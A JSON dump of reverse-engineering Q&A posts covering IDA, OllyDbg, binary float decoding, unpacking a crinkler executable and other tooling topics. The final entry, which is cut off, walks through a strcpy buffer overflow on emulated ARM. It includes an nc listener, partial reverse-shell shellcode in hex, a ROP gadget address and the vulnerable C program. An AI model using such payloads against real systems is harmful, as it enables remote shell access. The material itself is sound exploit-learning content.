        "Answer": "<p><strong>Solution:</strong></p>\n\n<p><code>find_func_bounds()</code> does the trick (<a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/funcs_8hpp.html#a060aa341534e4994eb7918dcd15e0506\" rel=\"nofollow noreferrer\">see SDK documentation</a>). That's how it works:</p>\n\n<pre><code>pfn = func_t()\nfind_func_bounds(ea, pfn, FIND_FUNC_NORMAL)\npfn.endEA\n</code></pre>\n\n<p>If the return value of <code>find_func_bounds()</code> is <code>FIND_FUNC_UNDEF</code> (0), <code>pfn.endEA</code> contains the address where it encountered unexplored bytes.</p>\n"
    },
    {
        "Id": "13886",
        "CreationDate": "2016-11-08T20:22:52.330",
        "Body": "<p>I have some dead pixels in top couple of rows of my cheap Win 10 tablet. To alleviate that, I wanted to use the custom resolution option in Intel graphics management panel, however, I cannot choose advanced options in the custom resolutions options and it is driving me crazy.</p>\n\n<p>I remembered Intel GFX drivers used some <code>*.inf</code> to enable some options and I believe it is in <code>igdlh64.inf</code>. </p>\n\n<p>Has any of you  tried to modify this or have some knowledge on this (and no there is not a documentation provided anywhere)?</p>\n",
        "Title": "igdlh64.inf modify custom resolution",
        "Tags": "|driver|intel|",
        "Answer": "<p>DTD Calculator (<a href=\"http://www.avsforum.com/forum/26-home-theater-computers/947830-custom-resolution-tool-intel-graphics-easier-overscan-correction.html\" rel=\"nofollow noreferrer\">http://www.avsforum.com/forum/26-home-theater-computers/947830-custom-resolution-tool-intel-graphics-easier-overscan-correction.html</a>) did the job for me. </p>\n\n<p>Using it I was able to create valid EDIDs and add them to by modifying [NonEDIDMode_AddSwSettings] category in the said inf file(simply modify total number of DTD and add your EDID, do not forget to add 2 Bytes of flags 37 01). </p>\n\n<p>If you need further step by step instructions or detailed explanations of fields please do check <a href=\"https://software.intel.com/en-us/articles/custom-resolutions-on-intel-graphics\" rel=\"nofollow noreferrer\">https://software.intel.com/en-us/articles/custom-resolutions-on-intel-graphics</a></p>\n\n<p>Or you can try your luck with registry hack option of the DTD calculator, as well, did not work for me though.</p>\n"
    },
    {
        "Id": "13889",
        "CreationDate": "2016-11-09T19:09:56.290",
        "Body": "<p>I'm getting into the world of reverse engineering because I think it would be interesting to know how things work and such (also learning some assembly).</p>\n\n<p>But I have this strange problem, when I'm debugging some code, like a program from crackme.de, the program gets terminated instantly when I try to run it. So to see the changes I've done I actually have to patch it which will be very annoying in the long run I think.</p>\n\n<p>I've tried out different debuggers as well, OllyDbg, IDA Pro (free edition) and Immunity Debugger (going with this one because I like it).</p>\n\n<p>And I still have the same problem. I make some changes, I debug the program (start process), instantly gets Program terminated with code 0 (which is the return value from the program if I understand right).</p>\n\n<p>Any ideas? I must be doing something wrong. I'm running Windows 10 if that might help.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Program gets terminated when debugging",
        "Tags": "|debugging|",
        "Answer": "<p>Try putting a breakpoint on various process exit points: <code>ExitProcess</code>, <code>TerminateProcess</code>, <code>TerminateThread</code>. If the exit is done by the process itself, you should be able to catch it and then see what could have triggered it. </p>\n"
    },
    {
        "Id": "13891",
        "CreationDate": "2016-11-10T04:02:29.593",
        "Body": "<p>I have a binary file and a text file of the corresponding data, and I know the location in the binary file where the data are contained. However, I am unable to determine in what manner the data are encoded. The data do not appear to be stored as float16, float32, float64, signed/unsigned int of various length, or char, based on analysis of the hexdump. Perhaps the section containing the data has been compressed by some algorithm, or perhaps the numbers are stored in a representation with which I am unfamiliar.</p>\n\n<p>The human-readable data are as follows:</p>\n\n<pre><code>20.0,0.001\n21.0,0.001\n22.0,0.001\n23.0,0.001\n24.0,0.002\n25.0,0.002\n26.1,0.002\n27.0,0.004\n28.0,0.002\n29.0,0.002\n30.0,0.003\n31.0,0.004\n(etc)\n</code></pre>\n\n<p>I have 70 such lines, each containing two numbers of the precision shown in the table. The corresponding data section comprises 2312 hexadecimal digits, or 1156 bytes. There is a repeating pattern of characters ascending the ASCII table followed by @ signs (e.g., 4@ = '0x3440', 5@ = '0x3540', 6@ ='3640', etc.). This \"motif\" occurs every 16 bytes and there are 70 occurrences. One challenge is that although there is a monotonic progression in the ASCII value of the byte preceding the @ ('0x40'), it does not always increase (i.e., there are stationary points, sometimes followed by a jump that skips over one of the ASCII characters; for instance <code>4@ ... 5@ ... 6@ ...6@ ... 8@ ... 9@ ...</code>). Based on the 16-byte periodicity of this motif, I assume each row in the human-readable table is represented in the binary file by 16 consecutive bytes. Thus, the total size of the binary data table would be 16*70 = 1120 bytes. The complete data table is 1156 bytes, so I further assume the unexplained 36 bytes contain header information. Indeed, I can account for most of the header: 15 bytes containing a data descriptor in plain text, 16 bytes of zeros which appears to serve as an offset, and one byte ('0x46' = 70 in decimal) which appears to encode the number of lines in the table.</p>\n\n<p>My problems are currently the following:</p>\n\n<ul>\n<li>I do not know the \"phase\" of the 16 bytes of data (i.e., where one 16 byte segment ends and the next begins)</li>\n<li>I do not know how the human-readable numbers are encoded. They do not appear to be encoded in various float or integer representations, nor as ASCII characters.</li>\n<li>I do not know whether the data are compressed and if so how to determine the method of compression. If they are compressed, then the compression would be restricted to the data table itself since I can find plain text elsewhere in the binary file by running <code>strings</code> on it. Running <code>file</code> on the binary file simply reports that it contains \"data\".</li>\n</ul>\n\n<p>An example of the hexadecimal contents (<code>xxd</code> dump) corresponding very nearly to the contents above and aligned to show the progression of '0x40' = @ that I mentioned previously is shown below. This table begins with the '0x46' (decimal 70), to which I alluded previously as being a part of the header and representing the number of lines in the data table. The hex digits before the colon simply give the offset of the line from the beginning of the file; the middle section shows eight bytes (16 hex digits) of data; the right part of the table shows the ASCII-printable values for the hex data (<code>.</code> signifies ASCII-unprintable values, mostly <code>0x00</code>).</p>\n\n<pre><code>00000180: 4600 0000 0000 0000 0000 3440 0000 0000  F.........4@....\n00000190: 0000 583f 0000 0000 0000 3540 0000 0000  ..X?......5@....\n000001a0: 0000 503f c3f5 285c 8f02 3640 0000 0000  ..P?..(\\..6@....\n000001b0: 0000 553f 3e0a d7a3 70fd 3640 0000 0000  ..U?&gt;...p.6@....\n000001c0: 0000 453f 0000 0000 0000 3840 0000 0000  ..E?......8@....\n000001d0: 0040 5d3f 85eb 51b8 1e05 3940 0000 0000  .@]?..Q...9@....\n000001e0: 0000 5e3f cdcc cccc cc0c 3a40 0000 0000  ..^?......:@....\n000001f0: 0000 633f f628 5c8f c2f5 3a40 0000 0000  ..c?.(\\...:@....\n00000200: 00c0 703f 3e0a d7a3 70fd 3b40 0000 0000  ..p?&gt;...p.;@....\n00000210: 0000 5a3f 0000 0000 0000 3d40 0000 0000  ..Z?......=@....\n00000220: 0020 613f 48e1 7a14 ae07 3e40 0000 0000  . a?H.z...&gt;@....\n00000230: 00c0 643f c3f5 285c 8f02 3f40 0000 0000  ..d?..(\\..?@....\n</code></pre>\n\n<p>I would like advice on how to proceed with this particular problem, mainly determining whether compression is a factor and how the numbers are represented in the binary file, since I can thus far detect no obvious correspondence between the rows of human-readable data and the repeating 16-byte motifs that I described.</p>\n",
        "Title": "extracting data from binary file",
        "Tags": "|binary-analysis|",
        "Answer": "<p>This data actually is in standard x86 double (8 byte) representation, with the first 4 byte something else (46 00 00 00 probably being 70 as you said) and the data starting at offset 0x184 in the binary file.</p>\n\n<p>What probably confused you is the fact that the human-readable data is rounded, and the binary file has a better precision. So, for example, your <code>23.0</code> is actually <code>22.99</code>, which is why <code>3640</code> occurs twice, and the next value, <code>24.00</code>, has <code>38 40</code>.</p>\n\n<p>When I convert your hex back to binary (edit out the offset and character dump, then <code>xxd -r -p &lt; x.hex &gt; x.bin</code>), then run the following perl program over it:</p>\n\n<pre><code>open(F, \"&lt;$ARGV[0]\");\nbinmode F;\n\nseek(F, 4, 0);\n\nwhile (read(F, $dbl, 8)) {\n    read(F, $dbl2, 8);\n    printf(\"%15.10f  %15.10f   \", unpack(\"d\", $dbl), unpack(\"d\", $dbl2));\n    printf(\"%4.1f  %5.3f\\n\", unpack(\"d\", $dbl), unpack(\"d\", $dbl2));\n}\n</code></pre>\n\n<p>I get this:</p>\n\n<pre><code>20.0000000000     0.0014648438   20.0  0.001\n21.0000000000     0.0009765625   21.0  0.001\n22.0100000000     0.0012817383   22.0  0.001\n22.9900000000     0.0006408691   23.0  0.001\n24.0000000000     0.0017852783   24.0  0.002\n25.0200000000     0.0018310547   25.0  0.002\n26.0500000000     0.0023193359   26.1  0.002\n26.9600000000     0.0040893555   27.0  0.004\n27.9900000000     0.0015869141   28.0  0.002\n29.0000000000     0.0020904541   29.0  0.002\n30.0300000000     0.0025329590   30.0  0.003\n31.0100000000     0.0000000000   31.0  0.000\n</code></pre>\n\n<p>As you see, the right 2 columns are the numbers in your precision and match (except the last 0.004 which isn't in your file), while the first 2 columns are in high precision and, sometimes, have a value that is slightly less than the next integer.</p>\n\n<p>I found this by converting 20.0 to double and checking the hex:</p>\n\n<pre><code>perl -e \"print pack('d', 20.0);\" | xxd\n0000000: 0000 0000 0000 3440                      ......4@\n</code></pre>\n\n<p>then just starting at the fitting offset in your file and converting stuff back.</p>\n"
    },
    {
        "Id": "13905",
        "CreationDate": "2016-11-12T16:03:31.633",
        "Body": "<p>I'm trying to figure out how to copy \"properly\" strings from memory, I see there are very few plugins available for ollydbg2.x.x and the one I've tried, called <a href=\"https://tuts4you.com/request.php?3434\" rel=\"nofollow noreferrer\">BinaryCopyEx</a> didn't work ok, for instance, It was impossible to press the buttons to \"Copy to clipboard\" or \"save to file\" (using 1920x1080 resolution). </p>\n\n<p>Also, I wouldn't like to come back to ollydbg110 because the packed executables I'm dealing with were having some issues being opened with v110. When I say properly I don't mean using \"Copy as a table\" command, I'd just want to extract the string content (beautified or not).</p>\n\n<p>So, could you please recommend me any OllyDbg v201 plugin suitable for the task? If not, any other proper method to copy large random strings from start to end offsets would be welcome.</p>\n",
        "Title": "How to copy memory strings on OllyDBG v2.01?",
        "Tags": "|ollydbg|tools|",
        "Answer": "<p>Why not use olly's built-in copy?</p>\n\n<p><a href=\"https://i.stack.imgur.com/7LC4Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7LC4Q.png\" alt=\"binary copy\"></a></p>\n\n<p>Right click->Edit->Binary copy will give you the hex string of bytes, and then to get that sting out of that in python 2 for example, you can run this one liner: <code>binary_output.replace(' ', '').decode('hex')</code> where <code>binary_output</code> is the clipboard value after using the binary copy option.</p>\n\n<p>Another way, to copy the string as text into your clipboard (save the overhead of decoding the hex values) would be using the \"Binary edit\" option:</p>\n\n<p><a href=\"https://i.stack.imgur.com/LAhl1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LAhl1.png\" alt=\"binary edit\"></a></p>\n\n<p>And then highlighting the \"ASCII\" text box and copying the string directly from there:</p>\n\n<p><a href=\"https://i.stack.imgur.com/YzDZf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YzDZf.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13909",
        "CreationDate": "2016-11-12T19:30:49.153",
        "Body": "<p>I can't figure out exactly how these binary matrix files are formatted, other than the 2 little-endian 32-bit unsigned integers in the header. Supposedly the following is a 3x3 identity matrix:</p>\n\n<pre><code>0300 0000 0300 0000 0000 803f 0000 0000\n0000 0000 0000 0000 0000 803f 0000 0000\n0000 0000 0000 0000 0000 803f \n</code></pre>\n\n<p>And the following is a 3x2 matrix with arbitrary numbers whose value I'm not certain of:</p>\n\n<pre><code>0300 0000 0200 0000 0000 803f 0000 4040\n0000 a040 0000 0040 0000 8040 0000 c040\n</code></pre>\n\n<p>Basically, is there an encoding where <code>0000 803f</code> can translate to a value of <code>1</code> while <code>0000 0000</code> translates to <code>0</code> for each of the matrix values?</p>\n",
        "Title": "Interpret binary format of matrix files provided (*.mtx)",
        "Tags": "|file-format|binary-diagnosis|",
        "Answer": "<p>You've correctly identified the first four bytes as the header or matrix shape.</p>\n\n<p>If you were to remove those shape bytes and realign the rest of the hex string, the identify matrix becomes very clear:</p>\n\n<pre><code>0000 803f 0000 0000 0000 0000\n0000 0000 0000 803f 0000 0000\n0000 0000 0000 0000 0000 803f \n</code></pre>\n\n<p>We can easily see here that the text aligns to the shape of an identity matrix, a cell is four bytes, and the value of <code>0000 803f</code> represents <code>1</code>.</p>\n\n<p>This just happens to be the <a href=\"https://en.wikipedia.org/wiki/IEEE_floating_point\" rel=\"nofollow noreferrer\">IEEE 754</a> encoding of <code>1.0</code>. This is either something you can recognise with some experience or have python show you:</p>\n\n<pre><code>In [1]: import struct\n\nIn [3]: struct.unpack('f', \"0000803f\".decode('hex'))\nOut[3]: (1.0,)\n</code></pre>\n"
    },
    {
        "Id": "13912",
        "CreationDate": "2016-11-12T20:08:47.760",
        "Body": "<p>I'm trying to learn how to unpack a simple executable which has been compressed with <a href=\"http://crinkler.net/\" rel=\"nofollow noreferrer\">crinkler</a>, let be the nasm listing here compressed with crinkler.</p>\n\n<p><strong>example1.asm</strong>:</p>\n\n<pre><code>global start\n; kernel32.lib Exports\nextern _ExitProcess@4\nextern _GetStdHandle@4\nextern _WriteFile@20\n\nsection .text\n\nstart:\n    ; DWORD  bytes;\n    mov     ebp, esp\n    sub     esp, 4\n\n    ; hStdOut = GetstdHandle( STD_OUTPUT_HANDLE)\n    push    -11\n    call    _GetStdHandle@4\n    mov     ebx, eax\n\n    ; WriteFile( hstdOut, message, length(message), &amp;bytes, 0);\n    push    0\n    lea     eax, [ebp-4]\n    push    eax\n    push    (message_end - message)\n    push    message\n    push    ebx\n    call    _WriteFile@20\n\n    ; ExitProcess(0)\n    push    0\n    call    _ExitProcess@4\n\n    ; never here\n    hlt\nmessage:\n    db      'Hello, World', 10\nmessage_end:\n</code></pre>\n\n<p>To generate the exe I'm using latest version of <a href=\"http://www.nasm.us/pub/nasm/releasebuilds/2.12.03rc1/win64/nasm-2.12.03rc1-win64.zip\" rel=\"nofollow noreferrer\">nasm</a> &amp; <a href=\"http://crinkler.net/crinkler20.zip\" rel=\"nofollow noreferrer\">crinkler</a> like this <code>nasm -f win32 example1.asm &amp;&amp; crinkler example1.obj kernel32.lib user32.lib opengl32.lib winmm.lib gdi32.lib legacy_stdio_definitions.lib oldnames.lib ucrt.lib /out:example1_crinkler.exe /CRINKLER /HASHTRIES:300 /COMPMODE:SLOW /ORDERTRIES:4000 /entry:start /subsystem:console</code></p>\n\n<p>To unpack the exe I'm using <a href=\"http://www.ollydbg.de/version2.html\" rel=\"nofollow noreferrer\">OllyDbg v201</a> and the latest version of <a href=\"https://low-priority.appspot.com/ollydumpex/OllyDumpEx.zip\" rel=\"nofollow noreferrer\">OllyDumpEx v1.50</a>. Problem here is, the OllyDebugEx's website only has these sections {Overview, Features, Screenshots, Supported Debuggers, Download, Changelog}, no documentation at all, which means the plugin assumes you've already experience with the whole bunch of options/terms.</p>\n\n<p>Right now I've reached the point where I've figured out how to uncompress my test executable and finding the OEP, current status below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/fvVld.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fvVld.png\" alt=\"enter image description here\"></a></p>\n\n<p>What I'd like to know now is understand the whole set of available options provided by OllyDumpEx:</p>\n\n<ul>\n<li>Module {PE Base, List Section, Dump Mode, PE Source}</li>\n<li>Search { Search Area, Search Mode}</li>\n<li>PE {Image Base, Section Align, Entry Point}</li>\n<li>Options</li>\n<li>Section</li>\n</ul>\n\n<p>Once I know how to dump it properly I'd also like to know how to fix it so I'll get the final uncompressed exe.</p>\n",
        "Title": "Trying to decompress a hello world program using OllyDbg v201",
        "Tags": "|windows|ollydbg|tools|",
        "Answer": "<p>If I understood the problem right, the task would have been solved in case an uncompressed (and running!) exe - having been linked with crinkler - could be produced. In the following I will show the steps how to achieve this. However, all the steps had been done in Ida and not in Olly, because I am not familiar with Olly. The procedure should be very similar. Here come the steps:</p>\n\n<p><strong>Summary</strong>: Let it run until after the \"ret\" of the compressor, dump to a bin file, patch the single byte explained below into a \"ret\" bypassing the decompressor, and finished. The nice thing with this technique is that absolutely no fiddling around with the PE header is necessary. All that magic loading with the PE header having been corrupted by crinkler remains intact. The PE header NEEDS NOT be touched in any way. Now, a more detailed description follows:</p>\n\n<p><strong>Step1</strong>: Produce an exe. I followed the line already having presented in this thread with a WinMain and a Message box. This worked without problem as expected (Win10, Compiler VS2013).</p>\n\n<p><strong>Step 2</strong>: Load it into Ida, start address was 0x40005c. Some warnings, but finally the start function shows up. It is possible to set a breakpoint at the \"start\" position. Notably and interestingly, the first lines of this initial code MUST NOT be changed, otherwise Ida produces strange error messages like not accepting the Win32 local debugger or asking something about a %1 object. I assume this is due to the fact that this startup code must produce NOPs for the loader as it might reside somewhere in the PE header.</p>\n\n<p><strong>Step 3</strong>: Let the decompressor run until the \"ret\" statement having already been discussed in this thread (in my example, at address 0x4000d3). This \"ret\" indicates the end of the decompressor, the code returns into the application part, but beware: The application code has not been linked with Kernel32.lib. A typical technique like the one used in shellcode programming is used. The kernel32.dll address is found similar to the usual (and undocumented) way, having been excellently written dow by skape many years ago. Once the kernel32.dll address is known, all other OS dlls and API calls can be collected dynamically. Beforehand, and obviously as a result of the crinkling procedure, the necessary names like \"LoadLibraryA\", \"user32.dll\" or \"MessageBoxA\" had been stored in hashed form. All windows library loading and access is done dynamically at runtime, also the generation of app defined strings. The purpose of all this is to improve the compression ratio and has (IMO!) nothing to do with the core compression algorithm. The similarity to shellcode programming is obvious: There free RAM space is a very precious resource, and therefore shellcode must be as compact as possible. Every byte counts.</p>\n\n<p><strong>Step 4</strong>: At the beginning of the application part, i.e. after the discussed \"ret\" statement (address 0x420000 in my example), a memory dump must be made, RVA 0x400000 becoming offset zero in the file.  My dump started at 0x00400000 with a length of 0x50000. The highest address used by the uncompressor was in the example around 0x430000. The dump is trivial in Ida with a suitable small script. </p>\n\n<p><strong>Step 5</strong>: Bypassing the uncompressor. As already mentioned, this MUST NOT be done at the \"start\" point, as it will not succeed. But luckily, some statements later (address 0x400076) the stack has been loaded by the uncompressor with the proper application address of 0x420000. All what have to be patched is a \"ret\" statement at address 400076, leading the code into the uncompressed part. A single byte patch is sufficient! The start part now looks like this:</p>\n\n<pre><code>HEADER:0040005C                 public start\nHEADER:0040005C start           proc near\nHEADER:0040005C                 push    ebx\nHEADER:0040005D                 xor     ebp, ebp\nHEADER:0040005F                 mov     ebx, 2\nHEADER:00400064                 nop\nHEADER:00400065                 mov     esi, 400114h\nHEADER:0040006A                 push    1\nHEADER:0040006C                 pop     eax\nHEADER:0040006D                 mov     edi, 420000h\nHEADER:00400072                 mov     cl, 0\nHEADER:00400074                 nop\nHEADER:00400075                 push    edi\nHEADER:00400076                 retn\n</code></pre>\n\n<p><strong>Step 6</strong>: Thats all, what is missing is to rename the file into a something.exe and try if it works. It worked, no complaints from the windows loader, and all possibilities to investigate with static breakpoints in the debugger.</p>\n\n<p>Of course, if necessary the produced uncompressed exe can be provided.</p>\n"
    },
    {
        "Id": "13923",
        "CreationDate": "2016-11-14T11:55:05.473",
        "Body": "<p>I have a probably executable file for Motorola/Freescale/NXP PowerQUICC MPC860 and cannot disassemble it with IDA Pro since I cannot find the correct processor type in IDA?!</p>\n\n<p>IDA list MPC860 as supported see:\n<a href=\"https://www.hex-rays.com/products/ida/processors.shtml\" rel=\"nofollow noreferrer\">HEX Rays Supported Processors</a></p>\n\n<p>But is not listed, Any help or suggestion which type should I choose for this file:</p>\n\n<p><a href=\"https://drive.google.com/open?id=0B01YRIH4QUaBd3lVZmdEcDRDMms\" rel=\"nofollow noreferrer\">BIN FILE</a></p>\n\n<p>Also there is another text file list some file addresses and says it is memory map? Can it help in reverse engineering?\n[MAP File][3]</p>\n\n<p>Regards</p>\n",
        "Title": "How to dissassemble Motorola/Freescale/NXP PowerQUICC excutable",
        "Tags": "|ida|disassembly|motorola|",
        "Answer": "<p>It looks like that you should choose PowerPC big endian. After loading the binary the menu which contains \"MPC860\" will appear.</p>\n\n<p>Please note that image probably should be rebased for the proper disassembling. I loaded modem.bin into Ida and I see some reasonable code.</p>\n\n<ul>\n<li><em>Small addition #0</em>: when I rebase this image to <code>0xFFC40130</code> I see some very consistent pointers to strings in the code, which means that probably this should be address to rebase the image to. </li>\n<li><em>Small addition #1</em>: I'm not sure that the map file is really related to this binary - some of the functions in it are not match to the function prologue addresses.</li>\n<li><em>Small addition #2</em>: I can confirm that the code is not packed, and that the loading address is correct.</li>\n<li><em>Small addition #3</em>: Just for completeness, <code>r13</code> value is <code>0xD410</code> (Options --> General --> Analysis -->Processor specific analysis options -->SDA (r13) address) . As far as I can see setting this value is very much compatible with addresses of the strings used for printing.</li>\n</ul>\n"
    },
    {
        "Id": "13925",
        "CreationDate": "2016-11-14T12:53:26.213",
        "Body": "<p>I'm reversing some old game (for fun, to restore its priceless rules). It's been most probably linked statically to MSVCRT, some very old version. Also it uses heavily WinAPI (like ODCBC drivers, crypto libs, multi-threading and network stuff).\nSo far I found one very weird class:</p>\n\n<pre><code>DNameNode \n</code></pre>\n\n<p>What can I see from reversed code, it's a base class for some other structures, and it uses some synchronization constructions. </p>\n\n<p>Unfortunately, I couldn't find any info about those <strong>DNameNode</strong>s. Do you have any ideas, what's are they used for?</p>\n\n<p>Guessed c.tor of some of (guessed) derived class:</p>\n\n<pre><code>DNameNode *__thiscall sub_4182BD(DNameNode *this)\n{\n  DNameNode *v1; // ST00_4@1\n\n  v1 = this;\n  DNameNode::DNameNode(this);\n  *(_DWORD *)v1 = &amp;off_45F538;\n  *((_DWORD *)v1 + 3) = -1;\n  *((_DWORD *)v1 + 2) = 0;\n  return v1;\n}\n</code></pre>\n",
        "Title": "DNameNode class from MSVC binaries",
        "Tags": "|ida|windows|hexrays|",
        "Answer": "<p>Okay, now I'm pretty sure, that it was FLIRT signature missmatch. <strong>DNameNode</strong> from my code doesn't have anything common with <strong>undname</strong> tool (which looks like IDA missmatches it with).</p>\n\n<p>Also, I found in Google, that this structure is present in <a href=\"http://www.ownedcore.com/forums/world-of-warcraft/world-of-warcraft-bots-programs/wow-memory-editing/347720-wow-4-3-4-15595-info-dump-thread.html\" rel=\"nofollow noreferrer\" title=\"WoW\">WoW</a>, Diablo2 and Lineage clients. </p>\n\n<p>So, it's a structure with 1 sizeof(ptr) field and 4 structures. In my case it was kind of smart pointer.</p>\n"
    },
    {
        "Id": "13926",
        "CreationDate": "2016-11-14T14:57:56.793",
        "Body": "<p>Is there a way one can actually view system files and even apps on file manager of a windows phone the way we do with Android phones. I would love to do this so much on my Nokia Lumia 435 running on Windows 8.1. Reason I want to view where Opera mini hides its downloads. Imagine when I download files on Opera Mini and later try to move them to \"Downloads\" folder they become get there when their size is 0kb </p>\n",
        "Title": "How to view system files on Windows Phone",
        "Tags": "|windowsphone|",
        "Answer": "<p>First of all I think you may have to force an upgrade of the Windows to Windows 10 using an app called Upgrade Advisor. The Upgrade is like 1.4 GB so you will need to do that on WiFi.</p>\n\n<p>After upgrading you see new apps on your phone like \"File Explorer\" We will use it but later. </p>\n\n<p>First of all <strong>using a Windows PC we will create a shortcut</strong> from the computer and copy it to the phone to use it later.</p>\n\n<p>1 - In your Windows PC, create a shortcut to the C: drive anywhere:\n<a href=\"https://i.stack.imgur.com/6AnjH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6AnjH.png\" alt=\"enter image description here\"></a></p>\n\n<p>2 - Copy that shortcut to the phone's storage root:</p>\n\n<p>3 - In the phone, open \"File Explorer\" app, and from the hamburger menu, choose \"This Device\". You should see the shortcut there:</p>\n\n<p><a href=\"https://i.stack.imgur.com/czvgy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/czvgy.png\" alt=\"enter image description here\"></a></p>\n\n<p>4 - Click on the shortcut, and you're done.You will then be taken to the root of C: drive:</p>\n\n<p>Now if want to browse to Opera Mini folder try this tip got to applications folders are located at C:\\Data\\PROGRAMS</p>\n"
    },
    {
        "Id": "13928",
        "CreationDate": "2016-11-14T16:13:51.497",
        "Body": "<p>I am looking for a complete list of the ways to inject a payload in a vulnerable program in a Unix (Linux) context depending on the inputs opened by the program.</p>\n\n<p>I know that there are several tricks and tips but an exhaustive list would definitely help here.</p>\n",
        "Title": "Managing inputs for payload injection?",
        "Tags": "|linux|exploit|binary|",
        "Answer": "<p>Maybe my investigation will be helpful for somebody.</p>\n<p><strong>Brief:</strong></p>\n<p>I've prepare the reverse shellcode in assembler for ARM architecture (Raspberry Pi 1 B emulated in Qemu). When I start to test it I encounter few strange behaviours, which I would like to share.</p>\n<p><strong>Preparation:</strong></p>\n<ol>\n<li><p>file:</p>\n<p><code>reverseShell.s</code></p>\n</li>\n</ol>\n<hr />\n<ol start=\"2\">\n<li><p>language:</p>\n<p>assembler for ARM architecture (Raspberry Pi 1 B)</p>\n</li>\n</ol>\n<hr />\n<ol start=\"3\">\n<li><p>compilation:</p>\n<p><code>as reverseShell.s -o reverseShell.o &amp;&amp; ld -N reverseShell.o -o reverseShell</code></p>\n</li>\n</ol>\n<hr />\n<ol start=\"4\">\n<li><p>execution:</p>\n<p>4.1. host system:</p>\n<pre><code>   nc -lvvp 4444\n   Listening on [0.0.0.0] (family 0, port 4444)\n</code></pre>\n<p>4.2. target: (Raspberry Pi 1 B):</p>\n<pre><code>  `./ReverseShell`\n</code></pre>\n<p>4.3. host system:</p>\n<pre><code>   Connection from arm 60036 received!\n   pwd\n   /home/user/ARM/03_Security\n</code></pre>\n</li>\n</ol>\n<hr />\n<p>OK, looks good for now</p>\n<p><strong>Generating the payload (hex dump):</strong></p>\n<ol>\n<li>translate the execution to binary</li>\n</ol>\n<pre><code>   objcopy -O binary ReverseShell ReverseShell.bin\n</code></pre>\n<ol start=\"3\">\n<li>dump to hexadecimal format (convert to payload)</li>\n</ol>\n<pre><code>   hexdump -v -e '&quot;\\\\&quot;&quot;x&quot; 1/1 &quot;%02x&quot; &quot;&quot;' ReverseShell.bin\n   \\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a.....\n</code></pre>\n<ol start=\"4\">\n<li><p>In this step, the appropriate number of filler was added at the beginning of the payload - like almost everybody - I used character 'A' which is 41hex. The number of the character depends on the buffer which will be overwritten - in my case it was 12 characters.</p>\n</li>\n<li><p>Next step was to find the base address of the libc-2.27.so in the virtual memory map and the address of the useful gadget in the libc-2.27.so. For me the best tool for searching the gadgets is ropper. The start address (base) of the libc-2.27 (maybe in your case it will be different library version and different address) in my case was: <code>0xb6ede000</code>. The gadget address was: <code>0x00003db9</code>. After gluing: <code>0xb6ee1db9</code>. This hexadecimal adres form must be paste after the filler and before the payload. So now, the beginning of the payload (together with filler and gadget address) was:</p>\n</li>\n</ol>\n<pre><code>\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\xb9\\x1d\\xee\\xb6\\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a\\xc8\\x27\\x51\\x37\\x01\\xdf\\x04\\x1c\\x0a\\xa1\\x4a\\x70\\x10\\x22\\x02\\x37\\x01\\xdf\\x3f\\x27\\x20\\x1c\\x49\\x1a\\x01\\xdf\\x20\\x1c\\x01\\......\n</code></pre>\n<p><strong>Passing the payload to the vulnerable program:</strong></p>\n<ol>\n<li>The vulnerable program:</li>\n</ol>\n<pre><code>    #include &lt;stdio.h&gt;\n    #include &lt;string.h&gt;\n    \n    void func1(char *s)\n    {\n      char buffer[8];\n      strcpy(buffer, s);\n    }\n    \n    int main(int argc, char *argv[])\n    {\n      func1(argv[1]);\n      printf(&quot;Everything is fine.\\n&quot;);\n    }\n</code></pre>\n<ol start=\"2\">\n<li>gdb (gef) session</li>\n</ol>\n<p>I run the gdb with argument as a payload like below:</p>\n<pre><code>gdb --args ./program $(python2.7 -c- 'print(&quot;\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\xb9\\x1d\\xee\\xb6\\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21\\x92\\x1a\\xc8\\x27\\x51\\x37\\x01\\xdf\\x04\\x1c\\x0a\\xa1\\x4a\\x70\\x10\\x22\\x02\\x37\\x01\\xdf\\x3f\\x27\\x20\\x1c\\x49\\x1a\\x01\\xdf\\x20\\x1c\\...&quot;)')\n</code></pre>\n<p>Put the breakpoint on the main and run. Still looks OK. I can put the breakpoint in the func1, just before returning from them:</p>\n<p><a href=\"https://i.stack.imgur.com/s51tr.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/s51tr.jpg\" alt=\"enter image description here\" /></a></p>\n<p>In this point, the stack should already be overwritten and after  `pop', the program should branch to previously glued gadget address and start to execute the program from the previously &quot;prepared&quot; stack. Sooo let's have a look on the content of the stack:\n<a href=\"https://i.stack.imgur.com/70ueE.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/70ueE.jpg\" alt=\"enter image description here\" /></a></p>\n<p>red digits:</p>\n<p>1 - ok, this is the filler 12 times 'A' character</p>\n<p>2 - the gadget address - still ok</p>\n<p>3 - the beginning of the payload</p>\n<p>4 - Ops, something went wrong, this part of payload should be:</p>\n<p>x13\\xff\\x2f\\xe1\\x02\\x20\\x01\\x21</p>\n<p>but corresponding part of the memory is:</p>\n<p>0xe12fff13   0x21010002</p>\n<p>Why in second word instead of 0x20 I have 0x00 ?</p>\n<p>Ok, I've try to do this with python 3, but NULL will be there even with Python3.\nThis is only the one question. Did you encounter similar situation. What even more interesting, when I change the strcpy() to memcpy() in the func1(), and copy whole payload - 96 bytes, I have still 0 in this place. Am I lost something? I have no NULL's on the payload. Of course the session will crashed with segmentation 